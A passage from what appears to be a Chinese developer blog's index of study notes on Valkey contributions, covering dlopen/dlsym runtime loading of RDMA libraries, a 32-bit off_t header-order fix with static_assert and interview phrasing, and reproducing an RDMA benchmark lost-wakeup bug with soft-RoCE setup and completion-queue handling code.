LOAD_SYM(rdmacm_handle, rdma_getaddrinfo); LOAD_SYM(rdmacm_handle, rdma_freeaddrinfo); LOAD_SYM(rdmacm_handle, rdma_event_str); LOAD_SYM(ibverbs_handle, ibv_alloc_pd); LOAD_SYM(ibverbs_handle, ibv_dealloc_pd); LOAD_SYM(ibverbs_handle, ibv_create_comp_channel); LOAD_SYM(ibverbs_handle, ibv_destroy_comp_channel); LOAD_SYM(ibverbs_handle, ibv_create_cq); LOAD_SYM(ibverbs_handle, ibv_destroy_cq); LOAD_SYM(ibverbs_handle, ibv_reg_mr); LOAD_SYM(ibverbs_handle, ibv_dereg_mr); LOAD_SYM(ibverbs_handle, ibv_get_cq_event); LOAD_SYM(ibverbs_handle, ibv_ack_cq_events); LOAD_SYM(ibverbs_handle, ibv_destroy_qp); return 0; } 系统调用链（Linux / glibc） # dlopen() 是 glibc libdl 提供的 API，内部大致会：\nopen() 打开 librdmacm.so.1（沿 LD_LIBRARY_PATH、/etc/ld.so.cache 等搜索,这些库可能缓存或者就放在这里） mmap() 把 ELF 的 PT_LOAD 段映射进当前进程地址空间 这里就是映射过程表 可读可执行段 → .text（函数机器码） 可读可写段 → .data / .bss / .got.plt 解析 ELF 头、program header、dynamic section 若该库还有 NEEDED（如 libibverbs 依赖其他库），递归加载 重定位：修正库内对外部符号的引用 执行 .init / .init_array 构造函数 返回 handle（glibc 内部通常是 struct link_map *，指向已加载模块的链表节点） RTLD_NOW 的含义：在 dlopen 返回前 立即 解析该库的所有未定义符号。若缺符号，当场失败。\n对比 RTLD_LAZY：第一次调用某函数时才解析（可能延迟到运行中期才暴露错误）。 对 RDMA 这种关键路径，用 RTLD_NOW 是合理选择——启动 RDMA 时一次性 fail-fast。\nhandle 是什么 # static void *rdmacm_handle = NULL; static void *ibverbs_handle = NULL; 这两个 void * 不是文件描述符， 而是 已映射 SO 在动态链接器内部数据结构中的句柄（就是其实已经打开了）。 后续 dlsym(rdmacm_handle, \u0026quot;xxx\u0026quot;) 只在这个 SO（及其已加载依赖）的符号表里查找。\n你分别 dlopen 两个库，是因为 rdma_* 在 librdmacm.so.1，ibv_* 在 libibverbs.so.1，符号分布在不同 ELF 对象里。\ndlsym主要做了什么？ # 我们写的宏:\n#define LOAD_SYM(handle, name) \\ do { \\ void *tmp_sym = dlsym(handle, #name); \\ if (!tmp_sym) { \\ fprintf(stderr, \u0026#34;RDMA Init Error: missing symbol %s\\n\u0026#34;, #name); \\ return -1; \\ } \\ *(void **)(\u0026amp;rdma_syms.name) = tmp_sym; \\ } while (0) 说白了就是在打开的so里面找符号.\ndlsym(handle, \u0026quot;rdma_create_event_channel\u0026quot;) 的过程 # 在 handle 对应 SO 的 .dynsym（动态符号表） 里按字符串查找 找到后读 .symtab 条目：类型（FUNC/OBJECT）、绑定、所在段 结合 重定位结果，算出该符号在 当前进程虚拟地址空间 中的最终地址 返回 void *——对函数而言，就是 .text 段里第一条指令的虚拟地址 (所以调用的时候就可以跳转执行了) 从 CPU 视角：之后通过函数指针调用时，就是普通的间接跳转：\ncall *(%rax); 跳转到 librdmacm.so 映射进来的 .text 地址 这和 PLT/GOT 静态链接的路径不同——静态链接走 PLT stub → GOT 条目 → 真实函数； 这个方案是 自己维护一张函数指针表，编译期就定死了调用路径。\n*(void **)(\u0026amp;rdma_syms.name) = tmp_sym 这行在干什么 # C 标准不允许 void * 直接赋给函数指针（严格别名规则）。常见写法是 通过 void ** 中转：\n// 等价于：rdma_syms.rdma_create_id = (函数指针类型)dlsym(...) *(void **)(\u0026amp;rdma_syms.rdma_create_id) = tmp_sym; // 这个中转也很细节 实际上就是把找到的函数指针，赋值给我们的自己定义的结构体成员变量。\n整个流程大概是这样的:\n用户程序 │ ▼ valkeyInitiateRdma() // rdma.c:1275 │ ├─ [DLOPEN_RDMA] rdma_dyn_load_libs() │ │ │ ├─ dlopen(\u0026#34;librdmacm.so.1\u0026#34;) → mmap SO, 重定位, 返回 handle │ ├─ dlopen(\u0026#34;libibverbs.so.1\u0026#34;) → 同上 │ │ │ └─ 对每个 API: dlsym → 写入 rdma_syms.* │ └─ valkeyContextRegisterFuncs(...) // 注册 RDMA 连接类型 简单总结一下: 没有改 RDMA 业务逻辑，而是加了一层 运行时 PLT/GOT 替代品： dlopen 把 SO 映射进进程地址空间， dlsym 手动完成符号解析，struct + 宏 在不改 call site 的前提下把所有 API 调用重定向到函数指针表—— 从而在 无 RDMA 的机器上也能加载 valkey_rdma.so，只有真正初始化 RDMA 时才触碰 librdmacm / libibverbs。\n也就是没有调用valkeyInitiateRdma的时候，也就不会走这个加载的函数。\n","date":"2026-07-06","externalUrl":null,"permalink":"/zh-cn/valkey/feature-rdma-runtime-dynamic-loading/","section":"Valkey","summary":"\u003cp\u003e两个PR：\n\u003ca href=\"https://github.com/valkey-io/valkey/pull/3072\" target=\"_blank\"\u003evalkey主库修改\u003c/a\u003e\n\u003ca href=\"https://github.com/valkey-io/libvalkey/pull/284\" target=\"_blank\"\u003elibvalkey上游\u003c/a\u003e\n我们主要讲述这个在\u003cstrong\u003eclient\u003c/strong\u003e和benchmark上做RDMA的两个库的动态加载这两个问题,两个库\u003ccode\u003elibrdmacm\u003c/code\u003e \u003ccode\u003elibibverbs\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e之后最好再阅读一下CSAPP关于动态链接的部分，之后还预计出一篇文章好好讲解一下程序的链接，也是一门大学问。\n这个真的值得深挖。\u003c/p\u003e\n\n\n\u003ch2 class=\"relative group\"\u003e背景 \n    \u003cdiv id=\"%E8%83%8C%E6%99%AF\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E8%83%8C%E6%99%AF\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003e最早是字节跳动在进行valkey Over RDMA的开发,\n但是只做了对于server的解耦,\n但是没有对于client和benchmark的解耦,\n这就导致了Opensuse,linux的发行版引来了这样的问题:\u003c/p\u003e","title":"实现RDMA库的运行时动态加载(对于client和benchmark)","type":"valkey"},{"content":" 这个PR非常有纪念意义，这是我们给Valkey提出的第一个PR。\n同时关于静态链接的内容，都可以在CSAPPLinkLab中进行学习。\nPR页面\n代码层面就是加了很多../fmacros.h并且server之前加上了一个验证。\n/* * Sanity check: we require large-file support. If include order caused * _FILE_OFFSET_BITS to be ignored, off_t may end up 32-bit on 32-bit builds, * which will lead to ODR/LTO type mismatches. Fail fast at compile time. */ #include \u0026lt;sys/types.h\u0026gt; static_assert(sizeof(off_t) \u0026gt;= 8, \u0026#34;off_t must be 64-bit; ensure _FILE_OFFSET_BITS=64 is in effect before system headers\u0026#34;); // 到这里为止所有的off_t偏移的定义都应该是8 第一部分：核心概念深度解析 # 1. 什么是 ABI (Application Binary Interface)？ # CSAPP 对应章节： 第 3 章（机器级代码），但概念贯穿全书。\nAPI (源码接口)：是给人看的。比如函数声明 void func(int a); 只要源码里这么写，大家就能编译通过。\nABI (二进制接口)：是给 CPU 和操作系统看的。它规定了编译后的二进制代码如何交互。\n数据布局：int 占几个字节？struct 怎么对齐（Alignment）？\n调用约定：参数是放在寄存器里传，还是压栈传？返回值放在哪里？\n你遇到的问题：\n在你的 Case 里，这就是典型的 ABI 不一致（ABI Incompatibility）。\nFile A.c 认为 off_t 是 4 字节。\nFile B.c 认为 off_t 是 8 字节。\n当 A 调用 B 的函数，或者 A 和 B 共享一个包含 off_t 的结构体时，内存布局就全乱了（Offset 错位）。这就是“鸡同鸭讲”。\n2. 第一个点：**off_t** 与 LTO 链接期冲突 # CSAPP 对应章节： 第 7 章（链接）。\n背景知识： 在 32 位系统（如 x86）上，默认 off_t 是 32 位的，最大只能表示 2GB 文件。为了支持大文件（Large File Support, LFS），Linux glibc 提供了一个黑魔法宏 _FILE_OFFSET_BITS=64。\n宏的魔力：如果定义了这个宏，编译器会偷偷把 off_t 替换成 off64_t，把 open 替换成 open64。\n你的 Bug 原理：\n头文件包含顺序很重要！\n如果在定义这个宏之前，已经包含了 \u0026lt;stdio.h\u0026gt; 或 \u0026lt;sys/types.h\u0026gt;，那么系统头文件就会把 off_t 定死为 32 位。\n因为这是32位的系统,所以结果是编译时会认为这是32bit的.\n如果在定义宏之后包含，它就是 64 位。\n结果：你的项目中，有的 .o 文件里 off_t 是 32 位，有的是 64 位。\n为什么 LTO 报警告？\n普通链接器 (ld)：只是简单地把代码段拼在一起，它通常看不出参数类型的区别（它是盲的）。\nLTO (Link Time Optimization)：编译器在链接阶段介入，它看得见中间代码（IR）。它发现：“等一下，模块 A 里的函数 foo 期望参数是 4 字节，但模块 B 调用 foo 时传了 8 字节？报警！”\n编译器在优化阶段,对于中间代码IR做优化的时候,看到了对于相同字段,长度解释不同的时候报警.\n这时候你就已经理解什么是中间代码了，针对中间代码相同变量但是解释不同.\n3. 第二点：防御性编程与 static_assert # CSAPP 对应章节： 这是一个软件工程与编译器结合的概念。\n编译期断言 (Compile-time Assertion)：_Static_assert (C11) 或 static_assert (C++11)。\n价值：\n普通的 assert() 是运行时检查。代码得跑起来，崩溃了你才知道错了。\nstatic_assert 是编译时检查。如果条件不满足（比如 sizeof(off_t) \u0026lt; 8），编译器直接报错，生成的二进制文件都不让你生成。\n架构层面：这叫 \u0026ldquo;Fail Fast\u0026rdquo;（快速失败）。你把一个极其隐蔽的内存破坏 Bug（可能导致线上数据写坏），前置成了一个显眼的编译错误\n编译时断言,防止之后还有头文件顺序错乱的情况.\n\u0026mdash;\n第二部分：面试时如何具体描述（话术模板） # 面试官可能会问：“你简历里写的修复 ABI 问题具体是指什么？”\n你可以按照 STAR 原则 + CSAPP 底层视角 来回答。\n1. 开场：定义问题 (Situation) # “这个问题的背景是在 32 位 Linux 环境下。我们知道，32 位系统的 off_t 默认是 4 字节，导致无法支持 2GB 以上的大文件。Valkey 通过定义 _FILE_OFFSET_BITS=64 宏来强制开启 64 位偏移量支持。”\n“但是，我发现之前的代码中，头文件的包含顺序有问题。在某些文件里，系统头文件（如 \u0026lt;stdio.h\u0026gt;）在宏定义之前就被包含了。这就导致了一个严重的 ABI 不一致（ABI Mismatch） 问题。”\n2. 深入技术细节 (Task \u0026amp; Action) —— 这里要秀肌肉！ # 面试官：“具体会有什么后果？”\n你：“这违反了 C++ 中的 ODR (One Definition Rule) 规则在 C 语言中的变体。\n**具体来说，这会导致结构体内存布局（Memory Layout）的错位。\n比如一个结构体里有一个 off_t 字段。\n- 编译单元 A 认为它偏移量是 4，大小是 4。\n- 编译单元 B 认为它偏移量是 4，大小是 8。\n**当这两个单元通过指针传递这个结构体时，后续字段的读写就会发生越界或数据错乱。** **比如两个文件都定义了这个结构体，但是两个文件对于这个结构体内部的某个字段的偏移量的大小解释是不相同的,这样就是不可行的。** 实际上，是 LTO (链接时优化) 帮我们发现了这个问题。因为开启 LTO 后，链接器能够看到跨模块的类型签名，它报出了 type mismatch 的警告。如果没有 LTO，这可能就是一个极其难排查的运行时随机 Crash。”\n3. 解决方案与架构思考 (Result) # 你：“为了修复这个问题，我做了两件事：\n1. 重构依赖链：我强制让定义宏的 fmacros.h 必须作为第一个头文件被包含，确保预处理器在处理任何系统头文件前，环境已经是 64 位的了。(这就是为什么修改了这么多的头文件)\n2. 防御性编程：我觉得光修复不够，还得防止以后有人改坏。所以我在 server.h 这种核心头文件里加了 C11 的 static_assert。\n**static_assert(sizeof(off_t) == 8, ...) 加上这个检查非常重要。** **这样如果以后编译环境配置不对，或者头文件顺序又乱了，编译阶段直接报错。我把一个潜在的运行时 Bug 变成了一个确定性的编译时错误。”** \u0026mdash;\n第三部分：CSAPP 知识点复习速查表（面试前看一眼） # 为了让你更自信，复习一下这几个词：\nTranslation Unit (翻译单元)：一个 .c 文件经过预处理后，加上它包含的所有头文件，叫一个翻译单元。你的 Bug 本质是：不同的翻译单元对同一个数据类型有了不同的理解。 Alignment (对齐)：CSAPP 3.9.3。off_t 从 4 字节变 8 字节，不仅影响它自己，还可能影响结构体里它后面字段的偏移量（因为对齐规则变了）。 Symbol Resolution (符号解析)：CSAPP 7.2。链接器如何把 .o 文件里的符号连起来。LTO 就是在这个阶段介入进行跨模块分析的。 总结 # 讲解一下什么是glibc(gnu实现的C库)? 这个问题看起来很严重,现在才被修复是因为32bit用的比较少? 以及编译流程和解决问题主要在哪些阶段? 最后加static_assert在server.h,是不是因为这里是最后检查的位置,可以决定所有的offset都是64bit的?\n这四个问题问得非常精准，直击系统编程的核心。我来逐一为你“解剖”。\n\u0026mdash;\n1. 什么是 glibc (GNU C Library)?\n一句话定义： glibc 是 Linux 系统上的标准 C 库实现，它是你的应用程序（App）和 Linux 内核（Kernel）之间的翻译官。\n\u0026ldquo;其实就是C头文件库\u0026rdquo; GNU C Library\n- 它的角色：\n**Linux 内核只提供最底层的系统调用（System Calls），比如 sys_open, sys_read, sys_write。这些调用非常原始，难用。** **glibc 封装了这些调用(封装了sys_ 开头的系统调用)，提供了我们熟悉的标准 API，比如 fopen, printf, malloc, memcpy，以及本次事件的主角 open 和数据类型 off_t。** - 它与你的 Bug 的关系：\n**glibc 为了兼容历史（32位系统），默认保留了 32 位的行为。** **但它提供了一个“开关”（Feature Test Macro）：_FILE_OFFSET_BITS=64。** **- 如果你不打开开关：glibc 给你 `off_t` (32位)，调用 `old_open`。** **- 如果你打开开关：glibc 在预处理阶段把 `off_t` 偷换成 `off64_t` (64位)，把 `open` 偷换成 `open64`。** \u0026mdash;\n2. 为什么这个问题现在才被修复？是因为 32-bit 用得少吗？\n是的，主要有三个原因：\n1. 32-bit 服务器已濒临灭绝：\n**- Valkey/Redis 是高性能内存数据库，通常需要几十 GB 甚至 TB 的内存。** **- 32 位系统的寻址空间限制在 4GB 以内（用户态通常只有 3GB），这对 Redis 这种吃内存的应用来说是致命的。** **- 所以，生产环境 99.9% 都是 64 位（x86_64 或 arm64）。在这个环境下，`off_t` 天然就是 64 位的，根本不需要那个宏，怎么写都不会错。** 2. 这是一个“静默错误” (Silent Corruption)：\n**- 如果没有 LTO，链接器（Linker）通常不会检查符号的参数类型。** **- 即使 32 位编译成功了，程序可能也能跑（只要不涉及那个偏移量的读写），或者只是偶尔崩溃。没人会把这种随机崩溃联想到头文件顺序上。** 3. LTO (Link Time Optimization) 的普及：\n**- 以前大家很少开 LTO 编译，因为它慢。** **- 最近几年 GCC/Clang 的 LTO 越来越成熟，为了榨干性能，Valkey 这类项目开始默认开启 LTO。** **- LTO 是照妖镜。它在链接时看到了源码级的类型信息，大喊一声：“喂！这个 `off_t` 怎么一会儿大一会儿小？” 于是问题才暴露出来。** \u0026mdash;\n3. 编译流程和解决问题主要在哪些阶段？\n我们在 CSAPP 里学过，C 语言从源码到可执行文件分四个阶段。你的 Bug 和修复横跨了前三个阶段：\n阶段一：预处理 (Preprocessing) —— 犯罪现场\n- 工具：cpp (C Preprocessor)\n- 动作：处理 #include 和 #define。\n- 发生了什么：\n**- 这是你的 PR 修复 的地方。** **- Bug 发生时：编译器先看到了 `#include \u0026lt;stdio.h\u0026gt;`（此时宏还没定义，glibc 判定为 32 位），然后才看到 `#define _FILE_OFFSET_BITS 64`（晚了！）。** **- 修复后：你把 `#include \u0026quot;fmacros.h\u0026quot;`（里面有宏定义）挪到了第一行。预处理器先看到了宏，再展开系统头文件时，glibc 就知道要给 64 位的类型了。** **- 就是在预处理的阶段调整了头文件的顺序,使得程序对于off_t的解释会是64bit的.** ### 阶段二：编译 (Compilation) —— 证据固化\n- 工具：cc1\n- 动作：把 C 代码翻译成汇编/机器码（.o 文件）。\n- 发生了什么：\n**- 这是 `static_assert` 发挥作用 的地方。** **- 如果宏定义没生效，`sizeof(off_t)` 就是 4。** **- 你加的 `static_assert(sizeof(off_t) == 8)` 会在这里直接让编译器报错退出，阻止生成错误的 `.o` 文件。** **- static_assert,先检查中间代码优化,也就是在编译之前检查一下,然后才进行编译,翻译成汇编语言.** **- ****** ****阶段三：链接 (Linking) —— 案发侦破\n- 工具：ld (Linker)\n- 动作：把多个 .o 合并成一个可执行文件。\n- 发生了什么：\n**- 这是 LTO 报警 的地方。** **- 链接器发现 `lrulfu.o` 里的函数签名和 `server.o` 里的调用签名对不上（参数大小不一样），于是抛出 Warning。** **- 第二次优化,并且的时候,查看.o文件对于偏移(off_t)的解释是否是相同的.** \u0026mdash;\n4. 为什么 **static_assert** 加在 **server.h？\n这是一种“扼守咽喉”的策略。**\n- server.h 的地位：\n**在 Valkey/Redis 的源码架构中，server.h 是一个上帝头文件 (God Header)。几乎每一个 .c 文件（Translation Unit）都会包含它，因为它定义了全局的 server 结构体和核心配置。** - 为什么能决定全局？\n**并不是说 server.h 能“决定”别人的 offset。而是因为几乎所有人都要引用它。** **- 如果某个 `.c` 文件（比如 `a.c`）先包含了系统头文件（导致变成了 32 位环境），**然后包含了 `server.h`。** **- 当编译器处理到 `server.h` 里的 `static_assert` 时，它会检查当前上下文里的 `off_t` 大小。** **- 此时上下文里是 32 位，断言失败，炸掉编译。** - 结论：\n**它不能“自动修正”错误的 offset，它是“检测”错误的 offset. 只要你包含了 server.h，你就必须保证你的环境是干净的 64 位环境，否则 server.h 就拒绝被编译。因为 server.h 被如此广泛地引用，所以守住了这里，就相当于守住了 90% 的代码库。 总结：面试话术提炼\n“这个 Bug 本质上是一个预处理顺序错误导致的ABI 不一致。\n1. Glibc 依赖宏定义来切换类型版本。\n2. 由于头文件乱序，导致部分编译单元生成了 32 位 ABI 的代码，部分是 64 位。\n3. 这个问题之所以隐蔽，是因为 32 位服务器很少见，且没有 LTO 时链接器不检查类型。\n4. 我的修复是在预处理阶段强制宏的生效顺序，并在编译阶段利用 server.h 这个核心入口进行 static_assert 静态断言，实施了防御性编程。”\n5. 所以我可以认为在我修改之前,这个版本的valkey在32bit机器之上基本是废掉的.\n也不一定，如果没有出现结构体的交叉引用，就可能并没有什么大问题。\n","date":"2026-07-05","externalUrl":null,"permalink":"/zh-cn/valkey/bugfix-valkey-32bit-header-order/","section":"Valkey","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e这个PR非常有纪念意义，这是我们给Valkey提出的第一个PR。\u003c/strong\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e同时关于静态链接的内容，都可以在\u003cstrong\u003eCSAPPLinkLab\u003c/strong\u003e中进行学习。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/valkey-io/valkey/pull/2943\" target=\"_blank\"\u003ePR页面\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e代码层面就是加了很多\u003ccode\u003e../fmacros.h\u003c/code\u003e并且server之前加上了一个验证。\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/*\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * Sanity check: we require large-file support. If include order caused\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * _FILE_OFFSET_BITS to be ignored, off_t may end up 32-bit on 32-bit builds,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * which will lead to ODR/LTO type mismatches. Fail fast at compile time.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;sys/types.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"nf\"\u003estatic_assert\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003esizeof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eoff_t\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;off_t must be 64-bit; ensure _FILE_OFFSET_BITS=64 is in effect before system headers\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 到这里为止所有的off_t偏移的定义都应该是8\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\n\u003ch3 class=\"relative group\"\u003e\u003cstrong\u003e第一部分：核心概念深度解析\u003c/strong\u003e \n    \u003cdiv id=\"%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86%E6%A0%B8%E5%BF%83%E6%A6%82%E5%BF%B5%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86%E6%A0%B8%E5%BF%83%E6%A6%82%E5%BF%B5%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h3\u003e\n\n\n\u003ch3 class=\"relative group\"\u003e\u003cstrong\u003e1. 什么是 ABI (Application Binary Interface)？\u003c/strong\u003e \n    \u003cdiv id=\"1-%E4%BB%80%E4%B9%88%E6%98%AF-abi-application-binary-interface\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#1-%E4%BB%80%E4%B9%88%E6%98%AF-abi-application-binary-interface\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eCSAPP 对应章节： 第 3 章（机器级代码），但概念贯穿全书。\u003c/strong\u003e\u003c/p\u003e","title":"valkey32bit构建下头文件顺序问题","type":"valkey"},{"content":"https://github.com/valkey-io/valkey/issues/3345#issuecomment-4084382404\n用户使用benchmark客户端GET有问题?初步分析就是丢失唤醒的问题.\n删除代码比加上代码牛逼.\ngit清理 # git clean # 清理未跟踪的文件 git clean -nd src/unit\n意思是：\nn = -dry-run，只预演，不真正删除\nd = 连未跟踪目录也一起考虑\nsrc/unit = 只检查这个目录\n所以这条命令的含义就是：\n“告诉我，如果要清理 src/unit/ 里的未跟踪文件/目录，会删掉哪些，但先别真的删。”\ngit clean -fd src/unit\n意思是：\nf = -force，真的执行删除\nd = 连未跟踪目录一起删\nsrc/unit = 只删这个目录下的未跟踪内容\n所以这条命令就是：\n“把 src/unit/ 下的未跟踪文件和目录真的删掉。”\n拉取最新主分支并且合并 # git fetch upstream # 获取最新上游的更改 git stash push -m \u0026#34;......\u0026#34; # 暂存你的工作区 git rebase upstream/unstable # 变基,相当于就是在远端重放你的修改 git stash pop # 在你变基之后,相当于重放这你的修改 本次的workflow # 如果有其他的进程占有了6379端口呢? # 比如你可以看到:\n~/Project/valkey fix/rdma-benchmark-lost-wakeup ❯ ps -ef | rg \u0026#34;[v]alkey-server\u0026#34; # 这里进行进程的管理 root 23065 2181 0 Mar30 ? 00:00:00 sudo ./src/valkey-server valkey.conf --rdma-bind 10.0.0.1 --rdma-port 6379 root 23070 23065 0 Mar30 ? 00:00:00 sudo ./src/valkey-server valkey.conf --rdma-bind 10.0.0.1 --rdma-port 6379 root 23071 23070 0 Mar30 ? 00:02:50 ./src/valkey-server 127.0.0.1:6379 # 可以观察到这个是一串父子进程,那么你可以直接kill掉父进程 sudo kill 23071 workflow:\n这里的构建的手法还是类似的:\n# 解开当前进程的内存锁 sudo prlimit --memlock=unlimited --pid $$ # 创建在内存中工作的虚拟网卡 sudo modprobe dummy sudo ip link add dummy0 type dummy sudo ip link set dummy0 up # 配置本地的IP sudo ip addr add 10.0.0.1/24 dev dummy0 # 做RXE的绑定 sudo rdma link add rxe_dummy type rxe netdev dummy0 # 停止本来运行的 valkey sudo systemctl stop valkey # 先清理一遍编译,防止残留的产物 make distclean # 编译一遍 make BUILD_RDMA=yes USE_FAST_FLOAT=yes # 跑server sudo ./src/valkey-server valkey.conf --rdma-bind 10.0.0.1 --rdma-port 6379 client的处理:\n# 解除客户端的内存锁定限制 sudo prlimit --memlock=unlimited --pid $$ # 步骤 A：先用 SET 填充数据，验证 RDMA 通道畅通 (Issue 中说 SET 是正常的) 但是压测的话肯定会秒挂 ./src/valkey-benchmark -h 10.0.0.1 -p 6379 -t set -n 100000 -c 1 -d 102400 --rdma # 步骤 B：执行 GET 触发 BUG (Issue 核心) ./src/valkey-benchmark -h 10.0.0.1 -p 6379 -t get --rdma # 这里可以完美复现,验证的非常可以. 关于整个机制的进一步理解 # RDMA通知模型 # TCP vs RDMA 的通知方式对比 # TCP 很简单：一个 socket fd，内核通过 POLLIN（有数据可读）和 POLLOUT（可以写入）来告诉你。epoll_wait 一等就行。\nRDMA 完全不一样。它用一个叫 Completion Queue (CQ) 的东西。任何操作（发送、接收）完成后，硬件往 CQ 里放一条记录（叫 Work Completion, ibv_wc）。\n但你怎么知道 CQ 里有新的完成记录？RDMA 提供了一个 completion channel（**comp_channel**），它有一个 fd。当 CQ 有新完成记录时，这个 fd 变成\u0026quot;可读\u0026quot;。\n关键机制是武装通知（arm notification）：\nibv_req_notify_cq(cq, 0) ← \u0026#34;武装\u0026#34;：告诉硬件，下次有新完成记录时通知我 （往 comp_channel 的 fd 写一个事件） ibv_get_cq_event(...) ← \u0026#34;消费通知\u0026#34;：从 fd 读取事件 ibv_ack_cq_events(...) ← \u0026#34;确认\u0026#34; ibv_poll_cq(cq, ...) ← \u0026#34;取完成记录\u0026#34;：从 CQ 里拿出实际的完成记录 标准模式是：消费事件 → 确认 → 重新武装 → 排空 CQ。重新武装放在排空之前，是为了保证\u0026quot;武装之后到达的新完成记录\u0026quot;一定能触发通知。而武装之前已经在 CQ 里的记录，靠排空来拿。\n重新武装的意思就是重新把这个fd更换成可读的.\n来看 libvalkey 的实现，它严格遵循了这个模式：\nstatic int connRdmaHandleCq(valkeyContext *c) { RdmaContext *ctx = c-\u0026gt;privctx; struct rdma_cm_id *cm_id = ctx-\u0026gt;cm_id; struct ibv_cq *ev_cq = NULL; void *ev_ctx = NULL; struct ibv_wc wc = {0}; valkeyRdmaCmd *cmd; int ret; //1. get事件---消费通知 if (ibv_get_cq_event(ctx-\u0026gt;comp_channel, \u0026amp;ev_cq, \u0026amp;ev_ctx) \u0026lt; 0) { if (errno != EAGAIN) { valkeySetError(c, VALKEY_ERR_OTHER, \u0026#34;RDMA: get cq event failed\u0026#34;); return VALKEY_ERR; } // 没有能get到的通知,就直接返回,此时不会做arm CQ,但是我想使用一种机制,保证每次都被arm了. return VALKEY_OK; } // 2. 确认机制 ibv_ack_cq_events(ctx-\u0026gt;cq, 1); // 3. 重新武装---在排空队列之前 if (ibv_req_notify_cq(ev_cq, 0)) { valkeySetError(c, VALKEY_ERR_OTHER, \u0026#34;RDMA: notify cq failed\u0026#34;); return VALKEY_ERR; } pollcq: // 4.取完成记录,这里就是排空队列了 ret = ibv_poll_cq(ctx-\u0026gt;cq, 1, \u0026amp;wc); if (ret \u0026lt; 0) { valkeySetError(c, VALKEY_ERR_OTHER, \u0026#34;RDMA: poll cq failed\u0026#34;); return VALKEY_ERR; } else if (ret == 0) { return VALKEY_OK; } if (wc.status != IBV_WC_SUCCESS) { valkeySetError(c, VALKEY_ERR_OTHER, \u0026#34;RDMA: send/recv failed\u0026#34;); return VALKEY_ERR; } // 根据不同的操作码进行操作. switch (wc.opcode) { case IBV_WC_RECV: cmd = (valkeyRdmaCmd *)(uintptr_t)wc.wr_id; if (connRdmaHandleRecv(c, ctx, cm_id, cmd, wc.byte_len) == VALKEY_ERR) { return VALKEY_ERR; } break; case IBV_WC_RECV_RDMA_WITH_IMM: cmd = (valkeyRdmaCmd *)(uintptr_t)wc.wr_id; if (connRdmaHandleRecvImm(ctx, cm_id, cmd, ntohl(wc.imm_data)) == 